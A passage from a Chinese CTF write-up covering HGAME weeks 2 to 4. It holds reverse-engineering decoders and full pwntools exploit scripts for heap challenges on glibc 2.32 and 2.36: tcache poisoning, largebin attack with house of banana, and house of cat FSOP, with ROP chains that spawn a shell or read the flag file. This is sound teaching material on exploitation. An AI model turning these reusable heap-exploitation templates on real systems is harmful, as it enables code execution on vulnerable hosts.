sys = libcbase + libc.symbols['system']
malloc_hook = libcbase + libc.symbols['__malloc_hook']
print('__malloc_hook ===> '+hex(malloc_hook))
realloc = libcbase + libc.symbols['__libc_realloc']

for i in range(8, 16):
    add(i,0x60,b'A')
for i in range(8, 16):
    delete(i)

target = malloc_hook - 0x23
one_gadget = [0xe3afe, 0xe3b01, 0xe3b04]

delete(7)
delete(15)          #15为double free块

for i in range(7):
    add(i, 0x60, b'AAAA')

add(7, 0x60, p64(target))
add(8, 0x60, b'A')
add(9, 0x60, b'A')
add(10, 0x60, b'A'*0x23+p64(libcbase+one_gadget[1]))
#add(11, 0x60, b'A')

menu(1)
io.recvuntil(b'Index: ')
io.sendline(str(1).encode())
io.recvuntil(b'Size: ')
io.sendline(str(0x60).encode())
#print(hex(malloc_hook))
#DEBUG()

io.interactive()
reverse
before_main
一个变表base64，这个表会在main函数执行之前被复制到对应位置，对应__init_array里面的函数指针sub_1229
1
2
3
4
5
6
7
8
9
10
import base64
import string

str1 = "AMHo7dLxUEabf6Z3PdWr6cOy75i4fdfeUzL17kaV7rG="

#string1 = "0CxWsOemvJq4zdk2V6QlArj9mnHbt1NfEX/+3DhyPoBRLY8pK5FciZau7UMIgTSG"
string1 = "qaCpwYM2tO/RP0XeSZv8kLd6nfA7UHJ1No4gF5zr3VsBQbl9juhEGymc+WTxIiDK"
string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

print(base64.b64decode(str1.translate(str.maketrans(string1,string2))))
stream
给了一个exe程序，很明显是pyinstaller打包的，直接百度python exe反编译，然后出来一大堆教程
最后得到程序源码，写出解密程序即可
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import base64

def gen(key):
    s = list(range(256))
    j = 0
    for i in range(256):
        j = (j + s[i] + ord(key[i % len(key)])) % 256
        tmp = s[i]
        s[i] = s[j]
        s[j] = tmp
    i = j = 0
    data = []
    for _ in range(50):
        i = (i + 1) % 256
        j = (j + s[i]) % 256
        tmp = s[i]
        s[i] = s[j]
        s[j] = tmp
        data.append(s[(s[i] + s[j]) % 256])
    return data


def decrypt(enc, key):
    text = ''
    enc = base64.b64decode(enc.encode()).decode()
    for c, k in zip(enc, gen(key)):
        text += chr(ord(c) ^ k)
    return text


enc = 'wr3ClVcSw7nCmMOcHcKgacOtMkvDjxZ6asKWw4nChMK8IsK7KMOOasOrdgbDlx3DqcKqwr0hw701Ly57w63CtcOl'
key = 'As_we_do_as_you_know'
print(decrypt(enc, key))
week3
pwn
三道题都是现学的，后两道因为不太会largebin attack（低版本都没接触过），所以找了点模板，都套了house of banana的模板，竟然直接秒了。(模板来自winmt师傅在看雪写的堆利用文章，tql)
safe_note
保护全开，并且libc-2.32.so
在这个版本中，tcache bin的fd位置会放置(pos>>12)^next计算得到的值。当对应链表中只有一个堆块时，也就是其next为0。因此我们可以直接fd<<12得到就是堆的基地址。因此我们可以计算(pos>>12)^target，从而放入fd位置，再申请即可得到target位置。
本题很明显就是要利用UAF绕过tcache新增的safe unlink机制。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#!/usr/bin/env python3
from pwn import*
context.log_level = 'debug'
#tcache safe unlink

io = remote('week-3.hgame.lwsec.cn',30767)
#io = process('./vuln')
elf = ELF('./vuln')
libc = ELF('./libc/libc-2.32.so')

def DEBUG():
    attach(io, 'set resolve-heap-via-heuristic on')
    pause()

def menu(choice):
    io.recvuntil(b'Exit\n>')
    io.sendline(str(choice).encode())

def add(index, size):
    menu(1)
    io.recvuntil(b'Index: ')
    io.sendline(str(index).encode())
    io.recvuntil(b'Size: ')
    io.sendline(str(size).encode())

def delete(index):
    menu(2)
    io.recvuntil(b'Index: ')
    io.sendline(str(index).encode())

def edit(index, content):
    menu(3)
    io.recvuntil(b'Index: ')
    io.sendline(str(index).encode())
    io.recvuntil(b'Content: ')
    io.send(content)

def show(index):
    menu(4)
    io.recvuntil(b'Index: ')
    io.sendline(str(index).encode())

for i in range(9):
    add(i, 0x90)
add(9, 0x60)
for i in range(7):
    delete(i)
delete(8)
edit(8, b'\x0a')
show(8)
#edit(8, b'\x00')

libcbase = u64(io.recv(6).ljust(8, b'\x00'))-0xa-0x1e3c00
print('libcbase ===> '+hex(libcbase))
__free_hook = libcbase + libc.symbols['__free_hook']
print('__free_hook ===> '+hex(__free_hook))

one_gadget = [0xdf54c, 0xdf54f, 0xdf552]
show(0)
pos = u64(io.recv(5).ljust(8,b'\x00'))
fd = __free_hook ^ pos
print('pos ===> '+hex(pos))

edit(6, p64(fd))
add(10, 0x90)
add(11, 0x90)
edit(11, p64(libcbase+one_gadget[1]))
delete(0)

#DEBUG()

io.interactive()
large_note
保护全开，libc-2.32.so，只能申请largebin范围内的chunk，存在UAF漏洞
找了点资料，发现largebin attack在该版本可以在任意地址写入一个堆地址，也就是大数值。貌似可以修改global_max_fast，但是我找不到global_max_fast在哪（太菜了）。因此又转向了house of banana，正好有模板，稍微改下直接用。
house of banana是利用exit函数调用链触发的一种利用方式，调用链：exit()->_dl_fini->(fini_t)array[i]，利用起来十分方便，只要我们能通过largebin attack等方式劫持_rtld_global首地址_ns_loaded到我们的可控区域，就可以对link_map进行伪造，从而进行一系列调用。
大概流程就是largebin attack劫持_rtld_global首项指针为可控堆块地址，直接伪造link_map实现house of banana从而getshell
house of banana模板：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
fake_link_map_addr = heap_base + 0x6c0
edit(0, b'a'*0x420 + p64(fake_link_map_addr + 0x20)) # l_addr
payload = p64(0) +  p64(ld.address + 0x2f740) # l_next
payload += p64(0) + p64(fake_link_map_addr) # l_real
payload += p64(libc.sym['setcontext'] + 61) # second call  rdx = the address of last call
payload += p64(ret_addr) # first call (fake_link_map_addr + 0x38)
 
'''
# getshell
payload += p64(pop_rdi_ret) # 0x40
payload += p64(next(libc.search(b'/bin/sh')))
payload += p64(libc.sym['system'])
'''
 
# orw
flag_addr = fake_link_map_addr + 0xe8
payload += p64(pop_rdi_ret) + p64(flag_addr) # fake_link_map_addr + 0x40
payload += p64(pop_rsi_ret) + p64(0)
payload += p64(pop_rax_ret) + p64(2)
payload += p64(libc.sym['syscall'] + 27)
payload += p64(pop_rdi_ret) + p64(3)
payload += p64(pop_rsi_ret) + p64(fake_link_map_addr + 0x200)
payload += p64(pop_rdx_r12_ret) + p64(0x30) + p64(0)
payload += p64(libc.sym['read'])
payload += p64(pop_rdi_ret) + p64(1)
payload += p64(libc.sym['write']) # fake_link_map_addr + 0xc8
payload += p64(libc.sym['_exit'])
 
payload = payload.ljust(0x38 - 0x10 + 0xa0, b'\x00') # => fake_link_map_addr + 0xd8  SROP
payload += p64(fake_link_map_addr + 0x40) # rsp
payload += p64(ret_addr) # rip
payload += b'./flag\x00\x00' # fake_link_map_addr + 0xe8
 
payload = payload.ljust(0x100, b'\x00')
# l->l_info[DT_FINI_ARRAY] != NULL => l->l_info[26] != NULL
payload += p64(fake_link_map_addr + 0x110) + p64(0x10) # l->l_info[26]  &  d_ptr = 0x10
payload += p64(fake_link_map_addr + 0x120) + p64(0x10) # l->l_info[28]  &  i = 0x10/8 = 2 => array[1] = l->l_addr + d_ptr + 8 => array[0] = l->l_addr + d_ptr
payload = payload.ljust(0x308, b'\x00')
payload += p64(0x800000000) # l->l_init_called
exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
#!/usr/bin/env python3
from pwn import*
context.log_level = 'debug'
# large bin attack   +   house of banana

#io = remote('week-3.hgame.lwsec.cn',31373)
io = process('./vuln')
elf = ELF('./vuln')
libc = ELF('./libc-2.32.so')

def DEBUG():
    attach(io, 'set resolve-heap-via-heuristic on')
    pause()

def menu(choice):
    io.recvuntil(b'Exit\n>')
    io.sendline(str(choice).encode())

def add(index, size):
    menu(1)
    io.recvuntil(b'Index: ')
    io.sendline(str(index).encode())
    io.recvuntil(b'Size: ')
    io.sendline(str(size).encode())

def delete(index):
    menu(2)
    io.recvuntil(b'Index: ')
    io.sendline(str(index).encode())

def edit(index, content):
    menu(3)
    io.recvuntil(b'Index: ')
    io.sendline(str(index).encode())
    io.recvuntil(b'Content: ')
    io.send(content)

def show(index):
    menu(4)
    io.recvuntil(b'Index: ')
    io.sendline(str(index).encode())

add(15, 0x508)   #用于编辑presize
add(0, 0x608)     
add(1, 0x500)   #防止合并
add(2, 0x5f8)
add(3, 0x500)   #防止合并
add(4, 0x5e8)
add(5, 0x500)   #防止合并

#泄露libcbase
delete(0)
edit(0, b'\x0a')
show(0)

main_arena = u64(io.recv(6).ljust(8, b'\x00'))-0xa
libcbase = main_arena-0x1e3c00
print('libcbase ===> '+hex(libcbase))
_rtld_global = libcbase + 0x21b040
print('_rtld_global ===> '+hex(_rtld_global))
one_gadget = [0xdf54c, 0xdf54f, 0xdf552]

#将index0放入largebin
edit(0, b'\x00')
delete(2)
add(6, 0x508)
#delete(4)

edit(0, b'A'*0x10)
show(0)
io.recvuntil(b'A'*0x10)
here = u64(io.recv(6).ljust(8, b'\x00'))
heapbase = here-0x7a0

#修改index0内容
edit(0, p64(0)*3+p64(_rtld_global-0x20))

delete(2)
add(7, 0x808)

#house of banana
fake_link_map_addr = heapbase + 0x7a0
l_next = 0x21c790 + libcbase
pop_rdi_ret = libcbase + 0x2858f
print('DEBUG =======> '+hex(pop_rdi_ret))
ret_addr = libcbase + 0x29524
edit(15, b'A'*0x500+p64(fake_link_map_addr+0x20))  #l_addr
payload = p64(0) + p64(l_next)
payload += p64(0) + p64(fake_link_map_addr) # l_real
payload += p64(libcbase+libc.sym['setcontext'] + 61) # second call  rdx = the address of last call
payload += p64(ret_addr) # first call (fake_link_map_addr + 0x38)
payload += p64(pop_rdi_ret) # 0x40
payload += p64(libcbase+next(libc.search(b'/bin/sh\x00')))
payload += p64(libcbase+libc.symbols['system'])
#edit(0, payload)

payload = payload.ljust(0x38 - 0x10 + 0xa0, b'\x00') # => fake_link_map_addr + 0xd8  SROP
payload += p64(fake_link_map_addr + 0x40) # rsp
payload += p64(ret_addr) # rip
payload += b'./flag\x00\x00' # fake_link_map_addr + 0xe8

payload = payload.ljust(0x100, b'\x00')
# l->l_info[DT_FINI_ARRAY] != NULL => l->l_info[26] != NULL
payload += p64(fake_link_map_addr + 0x110) + p64(0x10) # l->l_info[26]  &  d_ptr = 0x10
payload += p64(fake_link_map_addr + 0x120) + p64(0x10) # l->l_info[28]  &  i = 0x10/8 = 2 => array[1] = l->l_addr + d_ptr + 8 => array[0] = l->l_addr + d_ptr
payload = payload.ljust(0x308, b'\x00')
payload += p64(0x800000000) # l->l_init_called
edit(0, payload)

menu(5)

#DEBUG()

io.interactive()
note_context
和第二题程序主要逻辑完全一样，不同的是这个程序开了沙箱，禁用了execve
largebin attack  +  house of banana实现orw直接得到flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
#!/usr/bin/env python3
from pwn import*
context.log_level = 'debug'
# large bin attack   +   house of banana

io = remote('week-3.hgame.lwsec.cn',32063)
#io = process('./vuln')
elf = ELF('./vuln')
libc = ELF('./libc-2.32.so')

def DEBUG():
    attach(io, 'set resolve-heap-via-heuristic on')
    pause()

def menu(choice):
    io.recvuntil(b'Exit\n>')
    io.sendline(str(choice).encode())

def add(index, size):
    menu(1)
    io.recvuntil(b'Index: ')
    io.sendline(str(index).encode())
    io.recvuntil(b'Size: ')
    io.sendline(str(size).encode())

def delete(index):
    menu(2)
    io.recvuntil(b'Index: ')
    io.sendline(str(index).encode())

def edit(index, content):
    menu(3)
    io.recvuntil(b'Index: ')
    io.sendline(str(index).encode())
    io.recvuntil(b'Content: ')
    io.send(content)

def show(index):
    menu(4)
    io.recvuntil(b'Index: ')
    io.sendline(str(index).encode())

add(15, 0x508)   #用于编辑presize
add(0, 0x608)     
add(1, 0x500)   #防止合并
add(2, 0x5f8)
add(3, 0x500)   #防止合并
add(4, 0x5e8)
add(5, 0x500)   #防止合并

#泄露libcbase
delete(0)
edit(0, b'\x0a')
show(0)

main_arena = u64(io.recv(6).ljust(8, b'\x00'))-0xa
libcbase = main_arena-0x1e3c00
print('libcbase ===> '+hex(libcbase))
_rtld_global = libcbase + 0x21b040
print('_rtld_global ===> '+hex(_rtld_global))
one_gadget = [0xdf54c, 0xdf54f, 0xdf552]

#将index0放入largebin
edit(0, b'\x00')
delete(2)
add(6, 0x508)
#delete(4)

edit(0, b'A'*0x10)
show(0)
io.recvuntil(b'A'*0x10)
here = u64(io.recv(6).ljust(8, b'\x00'))
heapbase = here-0x7a0

#修改index0内容
edit(0, p64(0)*3+p64(_rtld_global-0x20))

delete(2)
add(7, 0x808)

#house of banana
fake_link_map_addr = heapbase + 0x7a0
l_next = 0x21c790 + libcbase
pop_rdi_ret = libcbase + 0x2858f
print('DEBUG =======> '+hex(pop_rdi_ret))
ret_addr = libcbase + 0x29524
edit(15, b'A'*0x500+p64(fake_link_map_addr+0x20))  #l_addr
payload = p64(0) + p64(l_next)
payload += p64(0) + p64(fake_link_map_addr) # l_real
payload += p64(libcbase+libc.sym['setcontext'] + 61) # second call  rdx = the address of last call
payload += p64(ret_addr) # first call (fake_link_map_addr + 0x38)

pop_rsi_ret = libcbase + 0x2ac3f
pop_rax_ret = libcbase + 0x45580
pop_rdx_r12_ret = libcbase + 0x114161
#orw
flag_addr = fake_link_map_addr + 0xe8
payload += p64(pop_rdi_ret) + p64(flag_addr) # fake_link_map_addr + 0x40
payload += p64(pop_rsi_ret) + p64(0)
payload += p64(pop_rax_ret) + p64(2)
payload += p64(libcbase+libc.sym['syscall'] + 27)
payload += p64(pop_rdi_ret) + p64(3)
payload += p64(pop_rsi_ret) + p64(fake_link_map_addr + 0x200)
payload += p64(pop_rdx_r12_ret) + p64(0x30) + p64(0)
payload += p64(libcbase+libc.sym['read'])
payload += p64(pop_rdi_ret) + p64(1)
payload += p64(libcbase+libc.sym['write']) # fake_link_map_addr + 0xc8
payload += p64(libcbase+libc.sym['_exit'])

payload = payload.ljust(0x38 - 0x10 + 0xa0, b'\x00') # => fake_link_map_addr + 0xd8  SROP
payload += p64(fake_link_map_addr + 0x40) # rsp
payload += p64(ret_addr) # rip
payload += b'./flag\x00\x00' # fake_link_map_addr + 0xe8

payload = payload.ljust(0x100, b'\x00')
# l->l_info[DT_FINI_ARRAY] != NULL => l->l_info[26] != NULL
payload += p64(fake_link_map_addr + 0x110) + p64(0x10) # l->l_info[26]  &  d_ptr = 0x10
payload += p64(fake_link_map_addr + 0x120) + p64(0x10) # l->l_info[28]  &  i = 0x10/8 = 2 => array[1] = l->l_addr + d_ptr + 8 => array[0] = l->l_addr + d_ptr
payload = payload.ljust(0x308, b'\x00')
payload += p64(0x800000000) # l->l_init_called
edit(0, payload)

menu(5)

#DEBUG()

io.interactive()
week4
pwn
这两道题都是libc-2.36的，刚看到就想到了最近看到的house of apple，但是没怎么看懂（主要是因为没模板），然后看了另一个新技巧house of cat，不出所料，构造好后两道直接秒出。
without_hook
从libc-2.34开始，删除了我们喜闻乐见的_malloc_hook，_free_hook，因此从这以后新的技巧大都转向IO函数，其中，house of cat就是典型例子，并且目前适用于所有版本。
保护全开，依然是开了沙箱的largebin attack
house of cat的具体细节不在这里详述，House of Cat利用了House of emma的虚表偏移修改思想，通过修改虚表指针的偏移，避免了对需要绕过TLS上 _pointer_chk_guard的检测相关的IO函数的调用，转而调用**_IO_wfile_jumps中的_IO_wfile_seekoff函数，然后进入到_IO_switch_to_wget_mode函数中来攻击，从而使得攻击条件和利用变得更为简单。并且house of cat在FSOP的情况下也是可行的，只需修改虚表指针的偏移来调用_IO_wfile_seekoff即可（通常是结合__malloc_assert**，改vtable为**_IO_wfile_jumps+0x10**）。
在本题中，伪造好IO结构体后，因为提供了exit函数，可以通过FSOP触发
exp：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
#!/usr/bin/env python3
from pwn import*
context.log_level = 'debug'
# large bin attack   +   house of cat

#io = remote('week-3.hgame.lwsec.cn',30421)
io = process('./vuln')
elf = ELF('./vuln')
libc = ELF('./libc.so.6')

def DEBUG():
    attach(io, 'set resolve-heap-via-heuristic on')
    pause()

def menu(choice):
    io.recvuntil(b'Exit\n>')
    io.sendline(str(choice).encode())

def add(index, size):
    menu(1)
    io.recvuntil(b'Index: ')
    io.sendline(str(index).encode())
    io.recvuntil(b'Size: ')
    io.sendline(str(size).encode())

def delete(index):
    menu(2)
    io.recvuntil(b'Index: ')
    io.sendline(str(index).encode())

def edit(index, content):
    menu(3)
    io.recvuntil(b'Index: ')
    io.sendline(str(index).encode())
    io.recvuntil(b'Content: ')
    io.send(content)

def show(index):
    menu(4)
    io.recvuntil(b'Index: ')
    io.sendline(str(index).encode())

#largebin attack
add(0, 0x608)
add(1, 0x508)
add(2, 0x5f8)
add(3, 0x508)

delete(0)

#泄露libc
show(0)
libcbase = u64(io.recv(6).ljust(8, b'\x00')) - 0x1f6cc0
print('libcase ===> '+hex(libcbase))
_IO_list_all = libcbase + libc.symbols['_IO_list_all']
print('_IO_list_all ===> '+hex(_IO_list_all))
print(hex(libc.symbols['_IO_wfile_jumps']))

add(4, 0x800)
#泄露heapbase
edit(0, b'A'*0x10)
show(0)
io.recv(0x10)
heapbase = u64(io.recv(6).ljust(8,b'\x00')) - 0x290
print('heapbase ===> '+hex(heapbase))
edit(0, p64(0)*3+p64(_IO_list_all-0x20))

delete(2)
add(4, 0x800)

setcontext = libcbase + libc.symbols['setcontext']
print('setcontext+61 ===> '+hex(setcontext+61))

#FSOP触发house of cat
fake_io_addr=heapbase+0xdb0
next_chain = 0
fake_IO_FILE=p64(0)*6
fake_IO_FILE +=p64(1)+p64(2)
fake_IO_FILE +=p64(fake_io_addr+0xb0)#_IO_backup_base=setcontext_rdx
fake_IO_FILE +=p64(setcontext+61)#_IO_save_end=call addr(call setcontext)
fake_IO_FILE = fake_IO_FILE.ljust(0x58, b'\x00')
fake_IO_FILE += p64(0)  # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x78, b'\x00')
fake_IO_FILE += p64(heapbase+0x1000)  # _lock = a writable address
fake_IO_FILE = fake_IO_FILE.ljust(0x90, b'\x00')
fake_IO_FILE +=p64(fake_io_addr+0x30)#_wide_data,rax1_addr
fake_IO_FILE = fake_IO_FILE.ljust(0xB0, b'\x00')
fake_IO_FILE += p64(1)  # _mode = 1
fake_IO_FILE = fake_IO_FILE.ljust(0xC8, b'\x00')
fake_IO_FILE += p64(libcbase+0x1f30a0+0x30)  # vtable=IO_wfile_jumps+0x30
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40)  # rax2_addr

ret = libcbase + 0x23ba6
pop_rdi = libcbase + 0x23ba5
pop_rsi = libcbase + 0x251fe
pop_rdx_rbx = libcbase + 0x8bbb9
pop_rax = libcbase + 0x3f923
close = libcbase + libc.symbols['close']
syscall = libcbase + libc.symbols['syscall']
read = libcbase + libc.symbols['read']
write = libcbase + libc.symbols['write']
orw_addr = heapbase + 0x2a0
payload = fake_IO_FILE + p64(heapbase+0x4a0)+p64(0)*6 + p64(orw_addr) + p64(ret)
edit(2, payload)

flag_addr = heapbase + 0x4a0
orw=p64(pop_rdi)+p64(flag_addr)+p64(pop_rsi)+p64(0)+p64(pop_rax)+p64(2)+p64(syscall+27)
orw+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(flag_addr)+p64(pop_rdx_rbx)+p64(0x50)+p64(0)+p64(read)
orw+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(flag_addr)+p64(pop_rdx_rbx)+p64(0x50)+p64(0)+p64(write)
edit(0, orw.ljust(0x200, b'\x00')+b'./flag')

menu(5)
#print('DEBUG ==> '+hex(setcontext+61))
#DEBUG()

io.interactive()
4nswer’s gift
看到题目描述给了内核版本，以为是内核题，差点就要直接题都不看了，附件下载完后发现还是个house of cat
没开canary，题目会直接告诉一个地址，在gdb里面看一下发现是_IO_list_all地址，并且程序结束时会把分配到的堆地址赋值到_IO_list_all位置，直接伪造fake_IO_FILE，没开沙箱，会自己调用exit函数，和上一题做法一样，甚至比上一题简单的多（或许是我上一题做复杂了
其中伪造时需要知道堆地址，但因为已知libc地址，且mmap分配堆和libc有固定偏移，所以直接malloc(-1)，然后gdb看下直接算下就知道fake_io_addr了
exp：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/env python3
from pwn import*
context(log_level = 'debug')

#io = remote('week-4.hgame.lwsec.cn',32461)
io = process('./vuln')
libc = ELF('./libc.so.6')

def DEBUG():
    attach(io, 'b vuln')
    pause()

DEBUG()
io.recvuntil(b'0x')
libcbase = int(io.recv(12), 16)-0x1f7660
print('libcbase ===> '+hex(libcbase))
fake_io_addr = libcbase - 0x100004000 + 0x10
print('fake_io_addr ===> '+hex(fake_io_addr))
sys = libcbase + libc.symbols['system']
bin_sh = libcbase + next(libc.search(b'sh\x00'))

io.recvuntil(b'put into the gift?\n')
io.sendline(b'-1')
io.recvuntil(b'put into the gitf?\n')

#FSOP触发house of cat直接getshell
next_chain = 0
fake_IO_FILE=b'/bin/sh\x00'+p64(0)*7
fake_IO_FILE +=p64(1)+p64(2)
fake_IO_FILE +=p64(fake_io_addr+0xb0)#_IO_backup_base=setcontext_rdx
fake_IO_FILE +=p64(sys)#_IO_save_end=call addr(call setcontext)
fake_IO_FILE = fake_IO_FILE.ljust(0x68, b'\x00')
fake_IO_FILE += p64(0)  # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x88, b'\x00')
fake_IO_FILE += p64(fake_io_addr+0x1000)  # _lock = a writable address
fake_IO_FILE = fake_IO_FILE.ljust(0xa0, b'\x00')
fake_IO_FILE +=p64(fake_io_addr+0x30)#_wide_data,rax1_addr
fake_IO_FILE = fake_IO_FILE.ljust(0xc0, b'\x00')
fake_IO_FILE += p64(1)  # _mode = 1
fake_IO_FILE = fake_IO_FILE.ljust(0xd8, b'\x00')
fake_IO_FILE += p64(libcbase+0x1f30a0+0x30)  # vtable=IO_wfile_jumps+0x30
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40)  # rax2_addr

io.send(fake_IO_FILE)
io.interactive()